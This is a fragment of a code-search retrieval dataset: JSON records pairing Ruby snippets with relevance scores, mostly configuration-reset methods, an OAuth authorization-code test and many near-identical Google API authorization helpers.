self.client_name = DEFAULT_CLIENT_NAME\n self.client_key = DEFAULT_CLIENT_KEY\n self.connection_options = DEFAULT_CONNECTION_OPTIONS\n self.middleware = DEFAULT_MIDDLEWARE\n self.accept = DEFAULT_ACCEPT\n self\n end", "title": "" }, { "docid": "55bab8c8455bd2e92d6cc1e2227d32e4", "score": "0.68060684", "text": "def reset!\n Coinprism::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Coinprism::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "8654c57a0a520a8569fa669256901965", "score": "0.6801965", "text": "def reset\n self.adapter = DEFAULT_ADAPTER\n self.endpoint = DEFAULT_ENDPOINT\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n # self.response = DEFAULT_RESPONSE\n self.faraday_options = DEFAULT_FARADAY_OPTIONS\n self.login = DEFAULT_LOGIN\n self.pass = DEFAULT_PASS\n self\n end", "title": "" }, { "docid": "de16dbfceb3b55dc670accd11f8b9201", "score": "0.6794004", "text": "def reset\n self.api_key = DEFAULT_API_KEY\n self.user_agent = DEFAULT_USER_AGENT\n self.search_query_defaults = DEFAULT_SEARCH_SETTINGS\n self\n end", "title": "" }, { "docid": "99f6c91a0e72d738c8b75f575cd806db", "score": "0.6791994", "text": "def reset\n @config = {}\n write_config\n end", "title": "" }, { "docid": "5b43274f651102c6f292c4e2d7503da5", "score": "0.67897075", "text": "def reset\n self.configuration = ({})\n config_contexts.values.each(&:reset)\n end", "title": "" }, { "docid": "e2f2768561a5d9967b22d81c72e98117", "score": "0.6726747", "text": "def reset!\n HeiaHeia::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", HeiaHeia::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "c04addad842678ef536486f0db78125f", "score": "0.6725204", "text": "def reset\n self.adapter = DEFAULT_ADAPTER\n self.connection_options = DEFAULT_CONNECTION_OPTIONS\n self.client_id = DEFAULT_CLIENT_ID\n self.client_secret = DEFAULT_CLIENT_SECRET\n self.endpoint = DEFAULT_ENDPOINT\n self.authorize_endpoint = DEFAULT_AUTHORIZE_ENDPOINT\n self.token_endpoint = DEFAULT_TOKEN_ENDPOINT\n self.gateway = DEFAULT_GATEWAY\n self.access_token = DEFAULT_ACCESS_TOKEN\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n self\n end", "title": "" }, { "docid": "dbf8b4a84e3cd3fe64ef21a061ff7302", "score": "0.6716642", "text": "def default_options\n sync{ @opts || {} }\n end", "title": "" }, { "docid": "c3505251c1b44cb80cd2f29f372c0943", "score": "0.67041975", "text": "def reset_config\n configure do |config|\n config.provider = :payu\n\n # payu configuration\n config.pos_id = 999\n config.pos_auth_key = 'pos_auth_key'\n config.key1 = 'key1'\n config.key2 = 'key2'\n\n config.test_mode = false\n end\n end", "title": "" }, { "docid": "91a3525d2b1d1072d17b3a4a4b78d3e6", "score": "0.6682771", "text": "def default_options; {} end", "title": "" }, { "docid": "ef90839ea55b360f19020a8f4ea6ce27", "score": "0.6679203", "text": "def reset\n set(default_preferences)\n end", "title": "" }, { "docid": "e919342ce2760e95cea134cf110a43d5", "score": "0.6658164", "text": "def reset!\n HabitatSupervisor::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", HabitatSupervisor::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "99aa7151fd3068c6938fb64d6801f9bb", "score": "0.6657154", "text": "def clear_options\r\n\t\tself.option_values.clear\r\n\tend", "title": "" }, { "docid": "578147f2d57db0d98994582cda1e92cc", "score": "0.6651351", "text": "def reset!\n self.api_key \t = DEFAULT_API_KEY\n self.adapter = DEFAULT_ADAPTER\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self\n end", "title": "" }, { "docid": "ac0e2a64cf2e179fcacd9bee92d778a6", "score": "0.6641651", "text": "def reset\n self.adapter = DEFAULT_ADAPTER\n self.user_login = DEFAULT_USER_LOGIN\n self.user_password = DEFAULT_USER_PASSWORD\n self.endpoint = DEFAULT_ENDPOINT\n self.format = DEFAULT_FORMAT\n self.proxy = DEFAULT_PROXY\n self.cookie = DEFAULT_COOKIE\n self.user_agent = DEFAULT_USER_AGENT\n self\n end", "title": "" }, { "docid": "d3c25415a1c37a499b288f16b2f682f0", "score": "0.6637573", "text": "def reset\n self.adapter = DEFAULT_ADAPTER\n self.username = DEFAULT_USERNAME\n self.password = DEFAULT_PASSWORD\n self.organization = DEFAULT_ORGANIZATION\n self.endpoint = DEFAULT_ENDPOINT\n self.version = DEFAULT_VERSION\n self.path_prefix = DEFAULT_PATH_PREFIX\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n self.connection_options = DEFAULT_CONNECTION_OPTIONS\n self\n end", "title": "" }, { "docid": "cd3a3f6a01be8575b0fee7f2b3b35215", "score": "0.66276383", "text": "def opts_reset!(hash)\n opts.reset!\n opts.configure_from_hash(hash)\n end", "title": "" }, { "docid": "2234ade31226c0d92b1f0f46ebed8f66", "score": "0.66189796", "text": "def reset\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self.timeout = DEFAULT_TIMEOUT\n self.platform_credentials = DEFAULT_PLATFORM_CREDENTIALS\n self.disable_ssl_peer_verification = DEFAULT_DISABLE_SSL_PEER_VERIFICATION\n self\n end", "title": "" }, { "docid": "08bea414b3e189657387f207ec3668df", "score": "0.66168624", "text": "def default_options=( opts )\n sync{ @opts = opts.nil? ? nil : opts.dup }\n end", "title": "" }, { "docid": "82469e34521200f0a6bfee21aae62822", "score": "0.66084015", "text": "def reset\n self.adapter = DEFAULT_ADAPTER\n self.connection_options = DEFAULT_CONNECTION_OPTIONS\n self.consumer_key = DEFAULT_CONSUMER_KEY\n self.consumer_secret = DEFAULT_CONSUMER_SECRET\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n end", "title": "" }, { "docid": "d1052b05dc4860b87484070bd82d33f8", "score": "0.6607702", "text": "def default_options\n @default_options ||= {}\n end", "title": "" }, { "docid": "63b9e247a2120af556b72cc062aeffbf", "score": "0.6607205", "text": "def reset\n self.adapter = DEFAULT_ADAPTER\n self.endpoint = DEFAULT_ENDPOINT\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n self\n end", "title": "" }, { "docid": "8e2a4b77f79c1914b0f510181192c56c", "score": "0.6599868", "text": "def reset\n keys.each do |key|\n instance_variable_set(:\"@#{key}\", defaults[key])\n self\n end\n end", "title": "" }, { "docid": "88cf1f060388c0cc8d374aba6944c84c", "score": "0.65953267", "text": "def reset\n self.adapter = DEFAULT_ADAPTER\n self.client_id = DEFAULT_CLIENT_ID\n self.client_secret = DEFAULT_CLIENT_SECRET\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self\n end", "title": "" }, { "docid": "f796908d8d385a4db8dd41ab7ce12b33", "score": "0.6583739", "text": "def reset!\n Cryptoprocessing::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Cryptoprocessing::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "66cd5d916438166af41f0bcc5cdd062d", "score": "0.6583481", "text": "def options\n original_options = super\n user_defaults = @config\n user_defaults.merge(original_options)\n end", "title": "" }, { "docid": "4ee5652d41687c81d7c05336d8df3708", "score": "0.6577165", "text": "def reset!\n Netaxept::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Netaxept::Default.options[key])\n end\n\n HTTPI.logger = self.logger if self.logger\n HTTPI.log = self.log || self.debug\n HTTPI.log_level = self.log_level\n self\n end", "title": "" }, { "docid": "e364f5e91a0b7e461d4fee4a86419b6e", "score": "0.6563137", "text": "def clear_options(contexts = nil)\n Config::Options.clear(contexts)\n end", "title": "" }, { "docid": "0019f0695061ac7a7e2b41eda6444713", "score": "0.65478086", "text": "def reset\n self.client_account = DEFAULT_CLIENT_ACCOUNT\n self.client_secret = DEFAULT_CLIENT_SECRET\n self.user_agent = DEFAULT_USER_AGENT\n self.endpoint = DEFAULT_ENDPOINT\n self.adapter = DEFAULT_ADAPTER\n self.connection_type = DEFAULT_CONNECTION\n end", "title": "" }, { "docid": "ac7b982b8aa7ea8d596e27cb26c2a104", "score": "0.6541847", "text": "def reset_configuration!\n @configuration = Auth::Configuration.new\n end", "title": "" }, { "docid": "fd781338c8b1a729eba9399d8298880b", "score": "0.65418446", "text": "def reset\n @@config_instance = nil\n end", "title": "" }, { "docid": "ef8cf2fe8bfe15bdfcd1cc1a2a6e57da", "score": "0.6540191", "text": "def init_config()\n options_apply_filter(\"DEFAULT\")\n end", "title": "" }, { "docid": "95551a499c55c18f6a4a9b7183e24dde", "score": "0.6527692", "text": "def reset\n self.tap do |c|\n c.base_uri = DEFAULT_BASE_URI\n c.endpoint = DEFAULT_END_POINT\n c.api_secret = DEFAULT_API_SECRET\n c.api_key = DEFAULT_API_KEY\n end\n end", "title": "" }, { "docid": "c2e38c820adc3afabe1825df87959f29", "score": "0.6527046", "text": "def reset_storage_options!\n self.storage_options = storage_options_defaults.dup\n end", "title": "" }, { "docid": "f37bac1c8ae99eba610d3050b0396ce4", "score": "0.65206665", "text": "def clear_options\n @entries = {}\n end", "title": "" }, { "docid": "16502d07d1e9f42f04ba7c9afc619bea", "score": "0.6512097", "text": "def reset!\n self.api_username = DEFAULT_API_USERNAME\n self.api_key = DEFAULT_API_KEY\n self.adapter = DEFAULT_ADAPTER\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self.raise_errors = DEFAULT_RAISE_ERRORS\n self\n end", "title": "" }, { "docid": "961b33a01ca4aabcc0d9dbc2c7670b03", "score": "0.65036446", "text": "def prepare_options(options)\n options = self.class.defaults.merge(self.options).merge(options)\n end", "title": "" }, { "docid": "8fa06c8c2ca05ed7baf9ba2746a23d7d", "score": "0.65029734", "text": "def set_default_options(iParameters)\n @DefaultOptions.merge!(iParameters)\n end", "title": "" }, { "docid": "863a64f0270faddca5738f2efa564e53", "score": "0.65015", "text": "def default_options\n {}\n end", "title": "" }, { "docid": "863a64f0270faddca5738f2efa564e53", "score": "0.65015", "text": "def default_options\n {}\n end", "title": "" }, { "docid": "863a64f0270faddca5738f2efa564e53", "score": "0.6501362", "text": "def default_options\n {}\n end", "title": "" }, { "docid": "e72a4bd0f56e00fe1b96f8ba817a59c4", "score": "0.6491517", "text": "def default_options\n {}\n end", "title": "" }, { "docid": "e72a4bd0f56e00fe1b96f8ba817a59c4", "score": "0.6491517", "text": "def default_options\n {}\n end", "title": "" }, { "docid": "e72a4bd0f56e00fe1b96f8ba817a59c4", "score": "0.6491517", "text": "def default_options\n {}\n end", "title": "" }, { "docid": "afe57232e1b92c5e55a7b47f9f779575", "score": "0.6488283", "text": "def reset_defaults\n @city = nil\n @category_path = nil\n\n DEFAULTS.each do |k, v|\n var_name = \"@#{k}\".to_sym\n self.instance_variable_set(var_name, v)\n end\n end", "title": "" } ]
e6ee7357eb02137421aa42ad2a0bda66
AS6206 | Authorization Code support for Cosmos Steps: Setup 1. Internal client requests auth code for user 2. User authenticates using auth code returned 3. Internal client requests auth code for user with overrides 4. User authenticates using auth code returned with overrides 5. Internal client requests auth code for user with multiple scopes 6. User authenticates using auth code returned with multiple scopes
[ { "docid": "a3506c3ea7521c7d44134c18a4527b21", "score": "0.671591", "text": "def test_authorization_code_for_internal_tools\n # Setup\n @internal_tools = setup_user({ 'internal_tools' => true })\n @user1 = setup_user({'email' => @user.email})\n @user2 = setup_user\n @user3 = setup_user\n\n # Step 1\n headers = { 'Authorization' => \"Bearer #{@internal_tools.oauth_token}\" }\n\n params = {\n 'email' => @user1.email,\n 'password' => @user1.password,\n 'client_id' => @user1.turtle_client_id\n }\n\n post '/authorization_code', params, headers\n assert_response(@response, :success)\n assert(@parsed_response['code'], @parsed_response)\n assert(@parsed_response['scope'], @parsed_response)\n assert(@parsed_response['redirect_uri'], @parsed_response)\n\n # Step 2\n params = {\n 'client_id' => @user1.turtle_client_id,\n 'client_secret' => @user1.turtle_secret_key,\n 'grant_type' => 'authorization_code',\n 'code' => @parsed_response['code'],\n 'redirect_uri' => @parsed_response['redirect_uri']\n }\n\n post '/oauth/access_token', params\n assert_response(@response, :success)\n assert(@parsed_response['access_token'], @parsed_response)\n assert(@parsed_response['token_type'], @parsed_response)\n assert_equal(7776000, @parsed_response['expires_in'], @parsed_response)\n assert(@parsed_response['refresh_token'], @parsed_response)\n\n # Step 3\n params = {\n 'email' => @user2.email,\n 'password' => @user2.password,\n 'client_id' => @user2.turtle_client_id,\n 'scope' => 'foo',\n 'redirect_uri' => 'https://xx.com/callback?foo=foo&bar=bar'\n }\n\n post '/authorization_code', params, headers\n assert_response(@response, :success)\n assert(@parsed_response['code'], @parsed_response)\n assert_equal(params['scope'], @parsed_response['scope'], @parsed_response)\n assert_equal(params['redirect_uri'], @parsed_response['redirect_uri'], @parsed_response)\n\n # Step 4\n params = {\n 'client_id' => @user2.turtle_client_id,\n 'client_secret' => @user2.turtle_secret_key,\n 'grant_type' => 'authorization_code',\n 'code' => @parsed_response['code'],\n 'redirect_uri' => @parsed_response['redirect_uri']\n }\n\n post '/oauth/access_token', params\n assert_response(@response, :success)\n assert(@parsed_response['access_token'], @parsed_response)\n assert(@parsed_response['token_type'], @parsed_response)\n assert_equal('foo', @parsed_response['scope'], @parsed_response)\n assert_equal(7776000, @parsed_response['expires_in'], @parsed_response)\n assert(@parsed_response['refresh_token'], @parsed_response)\n\n # Step 5\n params = {\n 'email' => @user3.email,\n 'password' => @user3.password,\n 'client_id' => @user3.turtle_client_id,\n 'scope' => 'foo bar zeta alpha',\n 'redirect_uri' => 'https://xx.com/callback?foo=foo&bar=bar'\n }\n\n post '/authorization_code', params, headers\n assert_response(@response, :success)\n\n # turtle /app/model.rb sorts this within this response, /lib/dragon/models/serialization.rb does not\n sorted_scopes = params['scope'].split(' ').sort.join(' ')\n sorted_parsed_response_scopes = @parsed_response['scope'].split(' ').sort.join(' ')\n\n assert(@parsed_response['code'], @parsed_response)\n assert_equal(sorted_scopes, sorted_parsed_response_scopes, @parsed_response)\n assert_equal(params['redirect_uri'], @parsed_response['redirect_uri'], @parsed_response)\n\n # Step 6\n params = {\n 'client_id' => @user3.turtle_client_id,\n 'client_secret' => @user3.turtle_secret_key,\n 'grant_type' => 'authorization_code',\n 'code' => @parsed_response['code'],\n 'redirect_uri' => @parsed_response['redirect_uri']\n }\n\n post '/oauth/access_token', params\n assert_response(@response, :success)\n assert(@parsed_response['access_token'], @parsed_response)\n assert(@parsed_response['token_type'], @parsed_response)\n assert_equal(sorted_scopes, @parsed_response['scope'], @parsed_response)\n assert_equal(7776000, @parsed_response['expires_in'], @parsed_response)\n assert(@parsed_response['refresh_token'], @parsed_response)\n end", "title": "" } ]
[ { "docid": "3ea13994317f59fae03e8cd8d7a5d04a", "score": "0.6898133", "text": "def authorize_code(code)\n api_client.authorization.code = code\n api_client.authorization.fetch_access_token!\n # put the tokens to the sesion\n session[:access_token] = api_client.authorization.access_token\n session[:refresh_token] = api_client.authorization.refresh_token\n session[:expires_in] = api_client.authorization.expires_in\n session[:issued_at] = api_client.authorization.issued_at\nend", "title": "" }, { "docid": "72fe8a894c3ae8636b8bdc2f571ffbff", "score": "0.678538", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(ENV['CAL_CREDENTIALS_FILE'])\n token_store = Google::Auth::Stores::FileTokenStore.new(file: ENV['CAL_TOKEN_FILE'])\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "ee7e776c6b102d0c1f7f2a293ff4f64a", "score": "0.6746951", "text": "def authorize!\n @credentials = authorizer.get_credentials_from_code(user_id: user_id, code: code)\n @token = @credentials.access_token\n @code = nil # The authorization code can only be redeemed for an access token once\n @token\n end", "title": "" }, { "docid": "4815874c5a526cb9395e7997b2b962fa", "score": "0.67447984", "text": "def auth_code_callback # rubocop:disable Metrics/MethodLength\n # User may deny access, which comes back from ORCID in an \"error\" query\n # parameter\n error = params[:error]\n if error.present? && error == 'access_denied'\n render 'user_denied_access'\n return\n end\n\n token = params[:code]\n\n uri = URI(ENV['ORCID_AUTH_CODE_URL'])\n\n form_params = {\n client_id: client_id,\n client_secret: client_secret,\n grant_type: 'authorization_code',\n code: token,\n redirect_uri: ENV['AUTH_CODE_CALLBACK_URL']\n }\n\n # Send POST response back to ORCID requesting ORCID ID\n post_response = Net::HTTP.post_form(\n uri,\n form_params\n )\n\n # Handle the response to the POST\n response_hash = JSON.parse(post_response.body)\n\n if post_response.code == '200'\n # Successful response\n response_scheme = post_response.header.uri.scheme\n response_host = post_response.header.uri.host\n @orcid_identifier = \"#{response_scheme}://#{response_host}/#{response_hash['orcid']}\"\n\n # Make sure record doesn't already exist\n existing_record = OrcidRecord.find_by(uid: cas_uid)\n if existing_record\n @error_message = 'Existing Record Found.'\n @error_description =\n 'An existing record has been found for your CAS identifier.\\n' \\\n \"Existing ORCID id: #{existing_record.orcid_id}\\\\n\" \\\n \"ORCID id from request: #{@orcid_identifier}\\\\n\"\n\n render_error_page(error_message: @error_message, error_description: @error_description)\n else\n create_record(cas_uid, @orcid_identifier, response_hash)\n @orcid_name = response_hash['name']\n @orcid_record = OrcidRecord.find_by(uid: cas_uid)\n render 'auth_code_callback'\n end\n else\n # Error response\n render_error_page(error_code: post_response.code,\n error_code_type: post_response.code_type,\n error_message: response_hash['error'],\n error_description: response_hash['error_description'])\n end\n end", "title": "" }, { "docid": "0241111a26c0e2a099566756765d2412", "score": "0.67227376", "text": "def authorize\n client_id = Google::Auth::ClientId.new(CREDENTIALS_PATH['installed']['client_id'], CREDENTIALS_PATH['installed']['client_secret'])\n # CREDENTIALS_PATH['installed']['client_id'] # Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = \"4/1AfDhmrjKqjOnmdD6-sGTL658hi6uc5qua8ylpFT5Hsow3LsDZk_vPF30HcU\" # gets\n puts gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "94c0dbf98c782bcc8a9280dfe4bd348a", "score": "0.6719336", "text": "def authorize_code(authorization_code)\n api_client.authorization.code = authorization_code\n api_client.authorization.fetch_access_token!\n\n result = api_client.execute!(:api_method => oauth2.userinfo.get)\n google_account = current_identity.google_accounts.where(profile_id: result.data.id).first\n google_account ||= GoogleAccount.create!(owner: current_identity, profile_id:result.data.id)\n google_account.email = result.data.email\n api_client.authorization.refresh_token = (api_client.authorization.refresh_token || google_account.refresh_token)\n if google_account.refresh_token != api_client.authorization.refresh_token\n google_account.refresh_token = api_client.authorization.refresh_token\n google_account.save\n end\n session[:google_account_id] = google_account.id\n end", "title": "" }, { "docid": "21d86a700e3956b2e3245f74a0368a9d", "score": "0.67016995", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "d31a8ae3bf68122c2e0123502030f3a5", "score": "0.6622918", "text": "def authorization_code_flow\n logger.debug \"cookie provider_id: #{cookies[\"provider_id\"]}\"\n if cookies[\"provider_id\"]\n key_info = Provider.where(id: cookies[\"provider_id\"]).first\n else\n key_info = KEY_CONFIG[ @provider_info.issuer ]\n end\n logger.debug \"key info: #{key_info.inspect}\"\n # Hit the token endpoint and save the returned access/refresh/id tokens\n tokens = token_call(\n token_endpoint: @provider_info.token_endpoint,\n client_id: key_info['client_id'],\n client_secret: key_info['client_secret'],\n code: params[:code],\n redirect_uri: key_info['redirect_uri']\n )\n logger.debug \"tokens: #{tokens.inspect}\"\n return nil if ! tokens\n if tokens[:error]\n session[:id_token] = \"Error: #{tokens[:error]} => #{tokens[:error_description]}\"\n return nil\n end\n session[:id_token] = decode_id_token(tokens[:id_token])\n session[:access_token] = tokens[:access_token]\n session[:refresh_token] = tokens[:refresh_token]\n session[:expires_in] = tokens[:expires_in].to_i\n\n end", "title": "" }, { "docid": "469800907b10d6d2c5c3e98e6c1cf30c", "score": "0.661868", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::RedisTokenStore.new\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "776b4a7d4c2f32b7b2541d5a2532d841", "score": "0.6607507", "text": "def authorization_code_flow\n key_info = KEY_CONFIG[ @provider_info.issuer ]\n logger.debug \"key info: #{key_info.inspect}\"\n # Hit the token endpoint and save the returned access/refresh/id tokens\n tokens = token_call(\n token_endpoint: @provider_info.token_endpoint,\n client_id: key_info['client_id'],\n client_secret: key_info['client_secret'],\n code: params[:code],\n redirect_uri: key_info['redirect_uri']\n )\n logger.debug \"tokens: #{tokens.inspect}\"\n return nil if ! tokens\n session[:encoded_id_token] = tokens[:id_token]\n session[:id_token] = decode_id_token(tokens[:id_token])\n session[:access_token] = tokens[:access_token]\n session[:refresh_token] = tokens[:refresh_token]\n session[:expires_in] = tokens[:expires_in].to_i\n\n end", "title": "" }, { "docid": "1e3bcb831c440c224e3fe6dd9164b1ca", "score": "0.6605435", "text": "def authorize\n\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "6f07948598df3d1e3eb166f5620026f9", "score": "0.6598654", "text": "def authorize\n\tclient_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n\ttoken_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n\tauthorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\tuser_id = 'default'\n\tcredentials = authorizer.get_credentials(user_id)\n\tif credentials.nil?\n\turl = authorizer.get_authorization_url(base_url: OOB_URI)\n\tputs 'Open the following URL in the browser and enter the ' \\\n\t \"resulting code after authorization:\\n\" + url\n\tcode = gets\n\tcredentials = authorizer.get_and_store_credentials_from_code(\n\t\tuser_id: user_id, code: code, base_url: OOB_URI\n\t)\n\tend\n\tcredentials\nend", "title": "" }, { "docid": "5cfb352cdff6d9b6a61f61f3cb2bdf72", "score": "0.65886277", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n print 'Enter the code: '\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id,\n code: code,\n base_url: OOB_URI\n )\n end\n\n credentials\nend", "title": "" }, { "docid": "090e361007dcc657ed353bbc6d495f01", "score": "0.6584607", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = \"4/yAGxxOVE3eVxR5JMrtefwjJbXOmMcOMeoCG7dTavTtHDocLt2yIHMMg\"\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "997673ef23d99b7cc3e010f7ab7bdca0", "score": "0.6556431", "text": "def authorize\n create_token_file\n client_id = Google::Auth::ClientId.from_hash CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = 'default'\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n\n credentials\nend", "title": "" }, { "docid": "b18e876e212560f31858ce0b792ca68a", "score": "0.65564173", "text": "def authorize\r\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\r\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\r\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\r\n user_id = 'default'\r\n credentials = authorizer.get_credentials(user_id)\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url(base_url: OOB_URI)\r\n puts 'Open the following URL in the browser and enter the ' \\\r\n \"resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI\r\n )\r\n end\r\n credentials\r\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = 